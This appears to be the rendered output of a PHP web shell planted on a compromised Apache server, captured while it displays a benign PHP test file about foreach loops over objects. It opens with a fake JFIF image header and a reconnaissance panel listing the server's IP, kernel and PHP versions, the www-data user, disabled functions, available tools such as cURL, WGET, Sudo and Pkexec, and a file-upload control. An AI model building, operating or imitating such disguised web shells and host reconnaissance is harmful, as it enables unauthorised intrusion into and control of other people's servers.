????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 216.73.216.126 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/tests/lang/ |
Upload File : |
--TEST-- Foreach loop on objects - basic loop with just value and key => value. --FILE-- <?php class C { public $a = "Original a"; public $b = "Original b"; public $c = "Original c"; protected $d = "Original d"; private $e = "Original e"; } echo "\n\nSimple loop.\n"; $obj = new C; foreach ($obj as $v) { var_dump($v); } foreach ($obj as $k => $v) { var_dump($k, $v); } echo "\nCheck key and value after the loop.\n"; var_dump($k, $v); echo "\n\nObject instantiated inside loop.\n"; foreach (new C as $v) { var_dump($v); } foreach (new C as $k => $v) { var_dump($k, $v); } echo "\nCheck key and value after the loop.\n"; var_dump($k, $v); ?> --EXPECTF-- Simple loop. string(10) "Original a" string(10) "Original b" string(10) "Original c" string(1) "a" string(10) "Original a" string(1) "b" string(10) "Original b" string(1) "c" string(10) "Original c" Check key and value after the loop. string(1) "c" string(10) "Original c" Object instantiated inside loop. string(10) "Original a" string(10) "Original b" string(10) "Original c" string(1) "a" string(10) "Original a" string(1) "b" string(10) "Original b" string(1) "c" string(10) "Original c" Check key and value after the loop. string(1) "c" string(10) "Original c"